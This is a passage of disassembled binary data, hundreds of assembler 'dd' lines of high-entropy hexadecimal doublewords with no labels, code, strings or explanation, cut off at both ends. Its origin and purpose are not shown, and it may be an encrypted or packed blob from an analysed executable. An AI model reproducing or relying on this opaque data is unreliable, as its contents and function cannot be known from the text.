60503F69h, 468CDDDh, 15ADA2AEh, 6A721E78h, 0A33EE6C5h dd 5B82CAEBh, 0A14FDD0Bh, 0C2EA40CEh, 0D13335E7h, 540F0DC3h dd 0CFFC28FBh, 0EAC774Ah, 32149B5h, 0B5CACD30h, 0F2027E02h dd 0F96F07B4h, 0F884CE82h, 0B7264553h, 46C1113Dh, 0FD15793h dd 0F40585CDh, 0C0B29999h, 0DFA24B59h, 3F5F0968h, 20902F2Dh dd 37ADBEA0h, 0B4AA0D47h, 2AACFDCDh, 85003F93h, 0D438ACA4h dd 35B497D9h dd 46ADD325h, 0F6D7C164h, 389270D7h, 0D76DC9Ah, 59A60BACh dd 0E9F6A462h, 9C49F220h, 81D12251h, 0F41B41CEh, 4E68B502h dd 0CFE80176h, 7B160CD4h, 9E571EBAh, 83F1EC85h, 2A824F1Fh dd 2310C229h, 0B6260860h, 6C723AF1h, 1A23FEA4h, 0A5C87C4Bh dd 9C422190h, 0EB5F3F6Ch, 5F11DEBEh, 41E42ECh, 5644B9E2h dd 4368AF50h, 0A4566527h, 0A85379Ch, 7624842h, 73748EE1h dd 615218BAh, 3EA71F6Ah, 278C2583h, 0BFE89A5Ch, 1FFF1C95h dd 0CD12E367h, 5C1C83A8h, 1559F6B0h, 0FDD960E7h, 0BCBC3D24h dd 0D7B8A854h, 0D1238A6Ch, 1C4AB9DDh, 68C4B01Fh, 0B1879903h dd 0F49C4FA6h, 0C6E9327h, 0FF8E512Ch, 9E7EC65Ah, 0ADD999CAh dd 609B5906h, 6716E234h, 0B47CBBD0h, 7D549F5Bh, 95A16BC6h dd 1439F077h, 373DAFA7h, 0A4AA8C9Eh, 37FD5E84h, 0C3CE8DEFh dd 6C83CEA7h, 27705F63h, 0C4886878h, 0AE2C1A4Eh, 3A4222A3h dd 94DE88B5h, 2DE0B7AEh, 9A69AC98h, 0BBAD8930h, 0CB2F58E6h dd 48454D54h, 0C5485E9Fh, 5421213Eh, 5FF8714Ch, 9349CFE6h dd 805E1A57h, 3E2EE52Fh, 0EA7FCF9h, 0C56E6B80h, 657C0DC3h dd 4F0F43F3h, 8D63EA01h, 0EDD3EBB4h, 8F191759h, 0B1FA3C0Dh dd 5734E914h, 69EBDDF8h, 9BA23A14h, 701722CDh, 0F8296DEBh dd 54115075h, 0CB67A744h, 4CFD121Ah, 0BFDA83F3h, 0F7223D97h dd 9AB66D65h, 0BC5E611Eh, 4A496E8Fh, 3A34E314h, 934314C7h dd 3428AA63h, 9D21F2F0h, 0D4ED1EB3h, 0C70D775Ch, 977EEE61h dd 0FF4B4A0Bh, 78EC42CEh, 0D79975E8h, 717BA663h, 0D96395B3h dd 2AE7DB54h, 0D560AA2Dh, 0A0917984h, 0AFF6E83Ah, 993D1012h dd 0C813D085h, 6EC683A1h, 0B4DECADh, 359128F4h, 0D8B4825Fh dd 0A7478B21h, 2F44EE08h, 0D8572789h, 0FC565D4h, 1A2EAB5Ch dd 0CCF0D8DDh, 0FB6C6C8Bh, 877537CEh, 2BC6ED21h, 5032828Fh dd 6149394Eh, 2A5589Bh, 64BCC073h, 76AE0CAEh, 59456B09h dd 0AB942E43h, 717C21C6h, 0B0277ED2h, 4DA91E34h, 2D0F0857h dd 633B68F3h, 0EC424100h, 16853B88h, 0EF4E9BB8h, 0C3BF7199h dd 208C751Eh, 0BC931E28h, 0ABD69C5Dh, 0B1C03896h, 146533F7h dd 28760D26h, 0D1334B03h, 0D006B79Dh, 752F6D37h, 538D317Ah dd 0F51987C9h, 0E19CF664h, 690B9538h, 80C84C9Fh, 3E90A9E0h dd 4C160468h, 230DCA40h, 0FD9BF162h, 0CDF2B452h, 0FBF9C638h dd 852D323Bh, 7A3A1E8Ah, 0A525FCB1h, 787B9369h, 0D1F9ECF3h dd 0BC154EA5h, 82ACB58Eh, 0CE6FA7FEh, 0ECEF0AA3h, 6DF8D8ECh dd 513CF235h, 2451AE73h, 0F080CE25h, 7411868Bh, 56FFEEB5h dd 4790056h, 88A5E72Eh, 14BA88h, 31B60FBDh, 0F243231Eh dd 27752948h, 2758BD10h, 0C4BD54F1h, 617A6BB8h, 0B6D65690h dd 83060101h, 0A0003A31h, 0B8932AA4h, 70F3E30Eh, 14F3DD5Eh dd 5FA3B7ECh, 42EE2457h, 0AEAED5CEh, 0DAC061EDh, 79D421Ah dd 2D9C69D6h, 94D0E16Ch, 3AB215BCh, 0E191550Fh, 3E33E240h dd 3FAE0252h, 0D47C6B49h, 0CEFDF5B6h, 56C23CD0h, 5E0655EDh dd 0FFF638C1h, 658F6C25h, 49E9CB00h, 652F5F96h, 1FC635BFh dd 0D8F05F6Ch, 0C6FBB20h, 0E9373B9Bh, 1D473055h, 0FB0C4BF1h dd 3D651898h, 6C9DB5E8h, 4F8E58AAh, 0BE2FDD98h, 0EA204994h dd 104BEBC9h, 0ED3B696Ah, 0F5F2BDD2h, 0C2FA6E78h, 0FFB6188Fh dd 797F9C5Bh, 53B2A549h, 6053D556h, 88B3B26Bh, 0F01AB58Bh dd 3CDCB613h, 0F2FB1D4h, 31905134h, 0F5C7AA47h, 26C45372h dd 4D910A27h, 932B782Ah, 568C790Ah, 0EE69D951h, 67460890h dd 8590723Dh, 0D61E357Dh, 48D7E597h, 9B9F7823h, 0EB8EBF28h dd 5BD06969h, 584BF200h, 591F3790h, 6B13B02Dh, 1776882Ch dd 66962E9Ah, 0B8AA4AA4h, 10D2940Fh, 0AA9CE95Eh, 0E457F3E7h dd 934D489Eh, 74319711h, 0D0BA3494h, 253CF8F7h, 0F4A9CEF6h dd 98C31D52h, 3AE417A5h, 0B86680A3h, 61FE077h, 53B9F2B8h dd 69B77E6Bh, 83C28C41h, 38C2A0E9h, 0CC7220B5h, 0E62FE36Dh dd 7ABC09B9h, 0F07ACF00h, 0DA33FF8Fh, 382F03BAh, 38EC4A20h dd 8E7FAF4Bh, 0B53A9274h, 16BD855Fh, 5FB367Fh, 9A0C0DEEh dd 878E2A27h, 1A6000C2h, 3E81518Ch, 0AA617C68h, 307801C9h dd 9D06606Ah, 20DE948h, 0B3C6AEBDh, 6D26A935h, 0A19080C7h dd 0BA14DEEh, 0A6EBBB6Dh, 2E9E4EF4h, 0A9E0041Eh, 0FA344B21h dd 0B7379926h, 0AC4751F4h, 6A39D4D2h, 0D6B4589Dh, 0F8A3D3A5h dd 855C602Eh, 69CE1D0Bh, 0E97E3E87h, 1DF90854h, 0FB158BB4h dd 0D261647Eh, 0B799F207h, 96DCE8FEh, 3FC45A50h, 1BDE8695h dd 0DA9C9C37h, 14F1A248h, 0CFD0CFEEh, 5046845Bh, 0A19CB3CFh dd 0D48E8AF4h, 69A223E7h, 0ED1C1A36h, 3ADB5FFCh, 6E2937h dd 0FC245FE6h, 791CBD04h, 9F6284B2h, 1C61EE8Dh, 4E78D2AAh dd 0E8C5B708h, 796E04F8h, 51A71F8Ch, 5457AA78h, 0DC726BDFh dd 1ECA9108h, 8BC2430Dh, 2A72EF14h, 0D17FF452h, 813CACB7h dd 633F9C16h, 0E2BBA65h, 45F08FC0h, 8A1B30F1h, 0C417B822h dd 1F116CEEh, 82191535h, 85674898h, 8719D8ABh, 9F6EF8AEh dd 0F544E87Bh, 41DD757Eh, 8DC2CA86h, 0DFB4EB4Ch, 6793E395h dd 0F50A366Bh, 133B5F65h, 0CBF3A3FAh, 0D66F4841h, 0CB89C6E5h dd 12BE3FBCh, 8D8DB52Fh, 46EF43DDh, 0EEB1A80Ah, 8E14553Ah dd 6747A9ECh, 0EF835173h, 4F65250h, 0FFE786C4h, 0D22200D6h dd 0B66575C5h, 5B91DED4h, 6B6073ABh, 1CC4676Bh, 52F549DEh dd 7A52A4BBh, 2181A4E7h, 0F303EAA3h, 1C07F61Ch, 87185AF4h dd 0F16E8AC0h, 2005A8A1h, 29B3D138h, 0A3E247D8h, 34E466BDh dd 0D6189404h, 732CD05Dh, 6BA10E80h, 5D999311h, 3E0CE7F6h dd 0BEDCE034h, 8B218AFEh, 72F17841h, 0E26D05E0h, 0AD8DEF16h dd 9889E07Ah, 7CCBDBBAh, 733873B9h, 0AA3B83A0h, 0B7E89C53h dd 0CFB4FA02h, 30067A65h, 684DC3C2h, 8E77C8DCh, 60772B00h dd 8E4DF8D1h, 0C5F3772Fh, 4504B294h, 1E56308Dh, 0C677A8B7h dd 0F46E273Ah, 0C7E5EC15h, 0A2766B8h, 0B305E5B8h, 0F539F669h dd 82C8E8F0h, 2C23D40Ah, 0CE3015D3h, 0BDE9F573h, 0ED0CEA50h dd 90BFCE5Ch, 0B5283C9Ch, 8DE6B331h, 0D496B93Eh, 7FF2D47Dh dd 4A275DF1h, 50571D34h, 8734B72Ch, 6893D01Fh, 0B09CBE14h dd 0FCEB50B1h, 3974444Bh, 21972E09h, 41FDA020h, 0EE474571h dd 0B27812EDh, 567AF847h, 1C91F8D1h, 0DFA91EC5h, 0A4EFE2A3h dd 8C941AE9h, 5D931984h, 33B2B45Ch, 139103AFh, 0BA2C5405h dd 561E5CE6h, 0D4694616h, 5EB7B840h, 0D4B5BA25h, 73E01143h dd 8D382C4Fh, 1629ED42h, 50975FADh, 2FE7E7DAh, 64402BB9h dd 40725D34h, 0BA561A7Dh, 45E1ABBEh, 0A78D1ACDh, 0E60BB1E2h dd 0E3531CDBh, 0A1264A3Bh, 4BA06B4Fh, 3ECF769Ah, 0DB15652Dh dd 4ADA26D7h, 0B93D83BAh, 0DFC27436h, 4B00DB2Fh, 0ADAF36C4h dd 0B7FF8822h, 0B7F90D94h, 0B2221F5Dh, 15147324h, 714C8EBAh dd 0B6CC9FCh, 92A11D67h, 28CE37A1h, 0E64ED62Eh, 0B9161C8Ah dd 0B11FA946h, 2A36EC6Bh, 5DAA3EADh, 950DCB6Dh, 6B4CB7E5h dd 787F1BE7h, 42E69D7Bh, 6B10C7Ch, 0DCEB0C9Dh, 175BB540h dd 80DF4881h, 0E536678h, 0E924A8D2h, 0C77411A2h, 0E9F1AE7Fh dd 21DA2FAEh, 37078597h, 5A1550A0h, 0E188BA67h, 7E0A2E94h dd 0DBADABA8h, 0D5EEE730h, 3FCA1FE8h, 0B8F98847h, 373EDEA9h dd 3C51A6E5h, 0C4515229h, 850B45CAh, 9ED93E6Ch, 0E0D61CE5h dd 8D3AA8EEh, 21AA7859h dd 0CC78C40Eh, 48B99055h, 65BBC462h, 8E5859D5h, 4C82681Eh dd 8649CF52h, 0DFC68378h, 0AC22C8F0h, 0F6A75381h, 0E709E43h dd 0E7020B08h, 6A87C207h, 0A6A074A8h, 8729EDF7h, 0B3D8948Eh dd 0A8A0743Bh, 69318324h, 77513EABh, 0AF12EBD0h, 9286ECE0h dd 16C1324Dh, 4A5936C4h, 0A5D842ABh, 305E1224h, 6FA87AB0h dd 0F3A45663h, 7F9D900Ah, 63E6F2F3h, 4123B4B7h, 139D9ED8h dd 4FA11D4Ch, 11399E0Eh, 27FE60D9h, 0B042260Ah, 0A7AD21A7h dd 0D615D192h, 0D9B09CCEh, 3673D0A5h, 48E6C374h, 968C8997h dd 32FF457h, 37D3B559h, 0B51AC3B3h, 0B5557554h, 22C258DFh dd 93F4412Ah, 7E50796h, 0D5A1589Bh, 0BFA7D6ACh, 1D88E950h dd 223B1C3h, 0CDE4617Bh, 26AA6F35h, 285DDFC6h, 29E4317Fh dd 9443A4D6h, 1CB8CE3h, 75C88E11h, 327F00D1h, 7FFDE6Fh dd 0C853F7E7h, 0CC3BAFEBh, 91EB3E77h, 2A97A081h, 2F95D58Fh dd 4A1DDD40h, 7431F5BAh, 0DA5DF3AFh, 0DF6D1C28h, 2B9D29E5h dd 82BB381Ah, 63F9A522h, 0D7B2C4A2h, 583B06BDh, 7DE1FB10h dd 6BDE07E6h, 3EFBE4D9h, 6C57406Ch, 0BF69645Dh, 65B09593h dd 0EC14BCE6h, 8CCE9EEEh, 0F6649A5h, 782A5243h, 9D79FCFEh dd 48B3B888h, 0C3561BABh, 5C79FFABh, 9053BD7Ch, 0F3F132B2h dd 0BB637C8Ah, 0E3AF8C13h, 0BEDEAA4Eh, 1C3A71FBh, 7A9ECBABh dd 0A97C0FD9h, 18D5F6CFh, 2AB3B379h, 0F50CDD9Ch, 450E55A6h dd 0A2D24F5Ah, 2D64ECBh, 461F512Fh, 678F764Fh, 0FF8D76EAh dd 6BF3B560h, 556F9F6Ch, 188DE1BCh, 0B2E2FE70h, 104D3599h dd 3B4A2120h, 499DCF46h, 0F6EB8668h, 625A4E5h, 0C34D9FE4h dd 5BF2A26Ch, 38CE5A8h, 0C7AB8112h, 0C1A9EC68h, 4EC99EA8h dd 0E03F20EAh, 0DB2F41E0h, 77689876h, 0D5ED81BFh, 6111981Ch dd 0C55EF67Eh, 3C34713Fh, 21A8F68Bh, 0D4C53A59h, 0AFFCBB89h dd 0C826F902h, 8BA2E805h, 2444A209h, 51CC1D9h, 351C829Ah dd 0BAE2677Dh, 19AA6505h, 0F51BD240h, 0A5A20245h, 0EBA2C763h dd 0D9CB295Bh, 99BDEDE9h, 0BD229489h, 3ECAB9EEh, 0CB96ECDBh dd 961D8906h, 0E3EE4E5Bh, 95CC0C37h, 0F8AD3Fh, 197E00CDh dd 0E1C07D28h, 0B480FC96h, 6FD3D3F5h, 0DAA573DBh, 69985CBAh dd 608135F0h, 11D5FA24h, 10A59F5Bh, 0FAA026F9h, 6169738Dh dd 243BC9D7h, 8F4F6B87h, 6C11596Ch, 1DF3F85Eh, 4F68D8Ah dd 351ACAB5h, 0DA6FC6A6h, 0E7448F3Bh, 0F7B8EC3h, 0ABC4728Eh dd 0B57F9EC2h, 0E894E1B5h, 36E6FE6Ch, 0F857AABBh, 1999F381h dd 11FE4F57h, 0FD6BB997h, 15C8E04Dh, 6978860Fh, 5E03AE78h dd 0D91342BCh, 541890DBh, 0C1CDE40h, 1502420Ch, 266D38C0h dd 36F9F900h, 6BA6F849h, 25D8ADCCh, 0EA76E910h, 0CCBB248Ah dd 0E795ABB5h, 1569F3Fh, 943199DEh, 0F9A01094h, 99229AB2h dd 0F95D1EE8h, 42822D52h, 5AF74149h, 3415C6C6h, 0BA6269BCh dd 0D7BDFF91h, 5C7C33C5h, 0A1C8F4B9h, 43861289h, 2CE31C7Ah dd 4BAC416Dh, 0C5343BA2h, 86F61C48h, 7D1ED782h, 75AA166Bh dd 7CA52B5Bh, 6E43043Fh, 67E18103h, 0B61BE918h, 22F24954h dd 0EDDBFC59h, 7F48004h, 0E39182D3h, 5AA53927h, 0E214530Bh dd 4126EE09h, 37F4AFFFh, 81417B8Ah, 0CC6C9D05h, 98DC7D2Eh dd 78570385h, 4B655BB9h, 79723D9Ah, 9F1D34EAh, 1FA34A70h dd 0B7D34305h, 8C198902h, 8FBBAD6Fh, 0F64CEC5Ah, 398AC576h dd 57B34AA9h, 4786CA78h, 0AA2A1843h, 20BFFD13h, 653177B9h dd 54D856D4h, 1DE5104Fh, 0DAE76965h, 268EA6EEh, 0CA3CB3EBh dd 2963077Eh, 3E2C1D95h, 1E384347h, 40612F4Dh, 0D3E5D6D7h dd 32A9867Ch, 79531F47h, 618A1EE3h, 3326E198h, 94BD2345h dd 83BA774Ch, 0D0EE81C3h, 10FAD836h, 0FDA41F5Dh, 5FED090Fh dd 0EF1B63D1h, 0E183E834h, 382D7EABh, 0E8F24C3Bh, 6DC52EDCh dd 5A919FB8h, 11C80238h, 60F3F8A8h, 0A91F1C5Fh, 6E481628h dd 0BD5B7EA2h, 3A48C6Dh, 8A64C4CEh, 0C25C7BFEh, 50C560FAh dd 93C4E9BEh, 0BCB7A3E0h, 467068F5h, 8B5874ABh, 4A902FCh dd 0E6E6EBE0h, 87499E48h, 0AD89F496h, 0ED2A5CECh, 1237C341h dd 11C56747h, 0CCA0BAFFh, 0CA09B459h, 9F3E0F78h, 0FEAF6BC7h dd 53404C7Ch, 994A2DCCh, 0E6C617A2h, 1DA36E3Eh, 481B06CFh dd 60210B91h, 0F0CA8B75h, 56ACE34Ch, 0F51FB5CEh, 8FA14A03h dd 0C6B7A76Ch, 0F8531EBBh, 5E14BD1Fh, 80592E13h, 0CE60DA84h dd 65257878h, 0D6C69965h, 0A699BEEEh, 4CA3483Dh, 0BCCF6BF7h dd 5490CE80h, 7EE89528h, 0E0C5AC56h, 3A57A9C5h, 0CEC2D386h dd 0E5D5E05Fh, 0EB74E90Ch, 0CC12468Eh, 145382BFh, 1B9197FCh dd 0F8B8A264h, 0D8904349h, 1AB9017h, 4A389980h, 0E4F7F1C9h dd 2BB2EF35h, 0DE457D3Eh, 32860935h, 55BCC776h, 0DE12DF5Ch dd 0FEB80B92h, 2DEE0704h, 6F1D6965h, 0BCA36DFCh, 86D2564Dh dd 98821C6Dh, 71E67458h, 511C5BE9h, 49263AA7h, 24BC7D6Ch dd 0BFCFBF3Fh, 779CA6ACh, 8B8610ABh, 4B9D977Ch, 6F7BDBC8h dd 7643537Bh, 0C531880Ah, 0A404C72h, 41C23CC7h, 0F98FADAAh dd 1A291148h, 0B7F9A5AAh, 0F7DF0DEh, 0D0409DCEh, 24AD2A85h dd 98B7B7DCh, 706A5EFAh, 35E2A0Bh, 19974F1Ch, 328A2D6Dh dd 62B86C79h, 5425E60Fh, 0FA47BE43h, 4DBCBA52h, 0A8ABCD8Eh dd 5FF2F157h, 968DD886h, 0EB272886h, 0FB38668h, 97E83833h dd 119B990Fh, 0AA1E0291h, 0B310C547h, 84FF1DF5h, 0C1EA7868h dd 0ADDF98A8h, 85DA2F55h, 39CDFA72h, 22AA1BF1h, 6DF93F70h dd 171A91F1h, 2AE3279h, 0BE72B5A1h, 3CB07004h, 0C7EF9301h dd 0D009849Ch, 180D81E7h, 0E556634Bh, 0E92A613Eh, 1DC63939h dd 9CC82F56h, 47B11D9Fh, 910C8741h, 68980AB1h, 32E077C0h dd 89F572E1h, 7E825A51h, 8037DB83h, 0F3B26B36h, 5A0D5478h dd 8D5979CBh, 0AB1EB4E9h, 612D1BA4h, 89F0E9C8h, 0DEACF8FCh dd 3EF85B99h, 1FCA9FA8h, 0C4B0DAFh, 38B1EB60h, 0EC88FB4h dd 5D80CCFAh, 82E71D43h, 14E18E47h, 0CE1F35h, 0A286FDDh dd 0A92B7670h, 0A7253F15h, 0FD572D0h, 0BFDABE03h, 0AB86B613h dd 0F368C87h, 1A3940Ch, 4705C7E4h, 67A3761Ah, 761389B5h dd 0A903B5BBh, 4D3D226Ah, 57A4B446h, 50AE58E4h, 8D642945h dd 76234197h, 0D3B3A7A4h, 0FBFF5397h, 8741A025h, 0C999628Ah dd 5243DB7Bh, 1E64057h, 0A1D7672Ah, 2A69F094h, 7B953C6Fh dd 0FF43DFEh, 6C82D77Fh, 32A247B0h, 0C00F862Fh, 8E0864B8h dd 80351E46h, 0BC63DC56h, 4E578D49h, 87746469h, 0FC57936h dd 8D316890h, 553512A0h, 9582766Ch, 2009CBB8h, 0CDBA2CC4h dd 0A862B1E2h, 0EF5CBEF9h, 0D93171AEh, 5720A31h, 766E826Ch dd 0EA53E356h, 91BCAEF6h, 9EE09698h, 0B85DCE8h, 25882924h dd 0EB613AEEh, 4CA6EBA0h, 0AEBF6734h, 26D613Bh, 32FDA262h dd 49011DABh, 4DE00C94h, 8324E95Dh, 385D92Bh, 5915BFEAh dd 0F21DB414h, 413C2BB6h, 12926333h, 4FA51F0Dh, 0AD386CDEh dd 342935FAh, 927B9785h, 92E0621Ch, 0F09A76h, 0D739C69Ah dd 27A7BC2Bh, 0D76CBE10h, 811A887Eh, 0F24630AAh, 0D8CCE3E2h dd 35CFB21Ah, 9734DC3h, 23F2EC1h, 333D128Fh, 115B51D4h dd 0C5D0272Eh, 0DB871390h, 17478024h, 1599698Ah, 0DDD2B9ECh dd 0C03CFC57h, 1284552Eh, 33EB2595h, 3B133147h, 0EBA58A9h dd 0D284F8A0h, 32873F3Ch, 0C02B83A7h, 8E7E647Ch, 6D951DA4h dd 5D2A9F1Ah, 0E2B91AFCh dd 0EBBF4488h, 4549F89Dh, 384368D4h, 0FDA2F2A7h, 0FC7E90E8h dd 60AE2F3Dh, 3745E536h, 246FB005h, 0D28EC894h, 72206791h dd 0FCA4F499h, 69E16F0Eh, 698C0D5Bh, 8461DD26h, 0F8E63202h dd 200519E1h, 51448324h, 0CB51CAD1h, 0A428FBCEh, 0B2889037h dd 0E28BC8ACh, 5803FF9Dh, 0F302EF0Bh, 0DDAA3B79h, 9499EBDAh dd 0F2FCA7F4h, 28F53F1Ah, 0F5AB9774h, 8DBBA6A3h, 0BC8A196Ah dd 0F0E7E54Eh, 0AB2D5E25h, 0F29917AEh, 0FA408278h, 0DD9A81E3h dd 20DB9BF3h, 0A6B0280Bh, 2A5C75D2h, 7D1A0815h, 813EF237h dd 98FB7760h, 0DDD36CBAh, 0D893CA17h, 0AB844AB1h, 5F0B7B8Dh dd 2E95C45Fh, 0D7AB60EBh, 0FE4A12B8h, 0D3C93997h, 34CD0DB9h dd 0EDB0A986h, 558EF20Dh, 9D3E7102h, 0C2D35FC2h, 98FECB80h dd 0DB05BC02h, 0EB1B413h, 3B0ABB3Fh, 6BF28499h, 2D055DA6h dd 13E36623h, 0CC3D2526h, 378C8C87h, 751DB02h, 1FD1E78Ah dd 0E3E48028h, 2DD1053Ch, 0D70493A7h, 1F69AE3Dh, 4E7A4CC2h dd 0C22FD3C7h, 0AA626CD2h, 453150B4h, 0DEF8E4F1h, 2960CA4h dd 893657F6h, 7E3B1CBDh, 848A69E8h, 810EEE43h, 9BFC18E5h dd 0E1577BD9h, 0FB5FEBFDh, 0EC284FC1h, 8D1DC4CEh, 0ADE1BC96h dd 0A3EC7148h, 0EE7DD7DEh, 0D99FFAE4h, 23F9351Ah, 0BEC059EBh dd 46A5B28Eh, 79940614h, 0A8BF431Fh, 97BBF682h, 93321F34h dd 0C2E16128h, 8D6967CAh, 57992F7Ch, 587EA84Fh, 108D9A0Ch dd 4AC2760Bh, 33B061EAh, 917EC0EDh, 37490B54h, 1B7EC77Bh dd 0DFF7FC82h, 0FBF51012h, 27225D02h, 0C6EE444Ah, 31C74F83h dd 0C49D389Ch, 453F37C3h, 694E86C0h, 0CBE5D113h, 5B15B56Dh dd 0ADDEB15h, 0DE0C9133h, 0BCDF393Ch, 54705B83h, 838F718h dd 3BC02CD7h, 0BD9AF38Ah, 0DEDA885Ch, 0D9E32AB2h, 0F2D26544h dd 3D320249h, 0CDF0B3ABh, 9D831B7Eh, 0ECBA6CCCh, 51BCE0C3h dd 0B691E8C2h, 0AD444670h, 0F161E0CAh, 0A5F500A4h, 0D9FEBD3h dd 0DC1D306Ah, 7CA87ED4h, 0B2A0C4B1h, 0F037EB29h, 3F3E0EDFh dd 7DA7182Ah, 900A03AFh, 1E0D953Ah, 0A422EE07h, 799F6088h dd 7DED1D3h, 0C7EA98C7h, 5A0D826h, 2C8ED2E8h, 80FD999Fh dd 8AFE88BDh, 849CADEBh, 963BF45Ch, 0DA544434h, 71612BBAh dd 0B719912Fh, 0FA4A24E7h, 0D3A693F2h, 0E5D2049h, 9957E1C4h dd 42C4EB9Ch, 2EA5EE3h, 8F23325Eh, 0A74B8A4Bh, 3B03CC14h dd 29CCC118h, 0D30731FAh, 0C2C5DE8Eh, 0C6842E2Ah, 0AD937DB6h dd 0D0AB18Fh, 0B8D13C79h, 5DFFA45Ah, 0A5010C48h, 90B54774h dd 0F18AA7E1h, 7AA3B9A6h, 0F965240Fh, 33E96921h, 2CAD175h dd 123580A0h, 0D51512C1h, 0D6F9FF0Ah, 0C31F289Eh, 0FACFA51Bh dd 910A8E8Bh, 28DF7971h, 0F298DCFh, 86CEA2Fh, 3C88C145h dd 384652A3h, 287D0840h, 1354B710h, 74C088DAh, 0D81FE0ACh dd 3A503E1Fh, 9D9A263Dh, 0DC045338h, 75096433h, 0D3835DE5h dd 17EF3D34h, 0A1654E18h, 76A84B64h, 0D93D62DDh, 93EE8D56h dd 0E6F8BB0h, 71CF704Fh, 9E3A6731h, 68724987h, 9B214311h dd 0DC302B91h, 0BEE3D4B9h, 0EE8FBBF9h, 92888A9Fh, 658BDC57h dd 19E2E46Eh, 0AD000A4Ch, 0B36078AFh, 0F4E5C8C5h, 305D461Ch dd 0AB0BCDF7h, 0A3DB1879h, 66868B19h, 4C1C007Ch, 6A855D4Fh dd 669F05E5h, 57BD2E42h, 782EAAF4h, 5D7C1250h, 0DA41B317h dd 447CDEE8h, 955FA24Ch, 0B645D67Ah, 39A6FDCAh, 951FB2FFh dd 2BCD9E67h, 0A3B0DC2Ah, 5DBB4845h, 0F9884FE4h, 3BEBEEF6h dd 2DD6C331h, 0FFADED37h, 0B77A3AEDh, 8AC927BEh, 0EADB437Bh dd 81E7947Dh, 0EC728BD0h, 0A31703A6h, 0E52F9DDh, 0AB13030Fh dd 0E6DA8EBEh, 0FA4B284h, 769B9ED4h, 0DAB63C2Dh, 0BFD0A455h dd 6CBEEF40h, 0BFE2CC89h, 80B32F2Ch, 7AB8C64h, 32071E3Ch dd 67BB2542h, 4F1C9BA6h, 37221245h, 5A60CF04h, 2852EC4Dh dd 3AC71784h, 497482D2h, 0DC8ED866h, 0D3E75A40h, 96DCAAF3h dd 17B7989Eh, 0C73A258Ah, 0BF31A00Ch, 0C885BE93h, 8277203Ch dd 99FD7F60h, 0A164E5DDh, 8082F6FBh, 9D771175h, 345F8C2Dh dd 0D0B99F7Fh, 0A86FC45Fh, 189BF5D7h, 0A572EF33h, 3C05E0F7h dd 1A92B644h, 0B4E17D88h, 0E646F8EDh, 4159E221h, 1A275349h dd 45A9DA00h, 780C3D51h, 151CD8F3h, 95E2310h, 3E6FE8Ch dd 0FA5DA70Eh, 2DB14A1Eh, 0C5B49ED6h, 2172854h, 5CC90976h dd 0A4CC7230h, 9DD1430Ch, 0E5984DCEh, 243483C0h, 0C37AE4BAh dd 9B12FEFEh, 8283F9CCh, 0C8B32B4Bh, 0FF378AAEh, 86D14CDEh dd 0B957DEE3h, 0F3D0BD73h, 0ED4FCE3Ch, 4AE50C4Ah, 5B2D7760h dd 5E9D27DBh, 4E849CCCh, 0D2EAD329h, 8A28BBAh, 88A2DA83h dd 0BFF72995h, 43373ECBh, 0FCA80ECCh, 0F6BCB2AFh, 0EED7C2BCh dd 0D9655823h, 30B1985Fh, 78C90439h, 0AF2E9DBDh, 0CAF223E4h dd 8DBD6641h, 837921D1h, 7A996A05h, 877FDF8Ch, 5B8C1865h dd 0F3178711h, 0F1457E55h, 3BBE4DCBh, 764BA9FDh, 0A94B0C70h dd 0D82705Dh, 18827771h, 0D9A32EC8h, 380508C7h, 0F97F50FEh dd 105466E4h, 88E847CBh, 0E0E8746Ch, 0FD0027E3h, 9FF1D28h dd 0BFD5254Ch, 0BB3BE397h, 2055D868h, 0CCE79DF8h, 83D49F8Fh dd 89A61D8Bh, 33A0630Bh, 46359DF0h, 2FE49810h, 9228F731h dd 0D7D4ED7Fh, 93929C1Ah, 18D858DEh, 0D00E312h, 0D7F79228h dd 0A60DB837h, 73F11A01h, 1DD4ACC9h, 133C407Bh, 0A0C866A9h dd 0EB9489BEh, 953ADF3Ch, 0A6A6033h, 9E88CBD8h, 0C628D118h dd 0BF04E132h, 0AE2A29CAh, 8BE77B27h, 8128F368h, 0F3445EDFh dd 49D56334h, 7295C3EFh, 6A37B60Dh, 0A83693AAh, 0DFFAA4DCh dd 238C88CBh, 0BC8DBB8h, 27038688h, 39653CA3h, 9A890922h dd 66E0856Eh, 0C318D178h, 83AE43BCh, 1AA2ED5Eh, 44BAE4CCh dd 0A579BFA2h, 96ED20EFh, 0BF7B0EC6h, 53ED09B4h, 5D8BF589h dd 2D8DF609h, 0A95E4C0Dh, 1949337Bh, 4A927746h, 87867653h dd 2E207D30h, 0F882A921h, 48A15A66h, 81A102BEh, 704F83h dd 6E3C66DFh, 3B988h, 2F8296ECh, 0BAA58C19h, 0C20C530Fh dd 89B6667Ch, 6EE7933h, 0EC098D80h, 0A6BA2ACDh, 264FE693h dd 0AAE13CFFh, 0DCBA503h, 9D6632D4h, 0CA6C8D93h, 83CCA8B8h dd 0D1EC5E73h, 0C40E18EAh, 0CE511516h, 0B7066C61h, 7EC47DF6h dd 81714CC4h, 471C3881h, 15A6A5D2h, 67FD16A6h, 6BA84048h dd 6835324Dh, 99A50177h, 6458575Bh, 0EF8427EBh, 0B889225Ch dd 8E051876h, 0A73A77DEh, 70E2F858h, 0F1239B3Ch, 315672DEh dd 0FDE13272h, 0FB620E38h, 385378EEh, 7FA29339h, 4D88405Ah dd 3C4C0F0Fh, 5AEF67F9h, 3CAD3FD1h, 6B62946h, 7D91A578h dd 0E83031A4h, 0F72C01B2h, 0BF6A28Ah, 0D96D2B25h, 42124EA3h dd 4C38D3F9h, 0FDA36D16h, 0A966884Bh, 9262E98Ch, 367D4769h dd 605A00E8h, 4D24C23Ch, 0B761B795h, 8F8AD147h, 9BFD37F2h dd 18BB1446h, 5E6ED2B9h, 0FC3CF0DFh, 979741ECh, 49390BDBh dd 0BDA34244h, 16613977h, 0F71AF712h, 66FF51E8h, 4F5E61DDh dd 8879763Fh, 0BC30E857h, 0D3A8B27Eh, 2DFC17EDh, 3F0AF48Ch dd 0AE46BCC3h, 0AD9C7F4Eh, 2D66A2C0h, 1B2882C9h, 9DF4D018h dd 26E088Eh, 0BE12FE68h, 0A3786BD2h, 8ABB3025h, 32D7107Ch dd 0F3E37E22h, 93F55E63h, 0EA09E179h, 20E484Bh, 78C3C484h dd 1049FC0Eh, 0B8E34426h, 0A2618B95h, 0C3B43AB1h, 7E0F33C9h dd 8E2B2B13h, 8D26A43Fh, 0E4E2FB2h, 693C7E20h, 0AB5C515Dh dd 992AE61Eh, 43FD12C5h dd 0E142840Ch, 1B80C6C9h, 0A48BBE5Dh, 0F6C9E5B7h, 3EBEBF16h dd 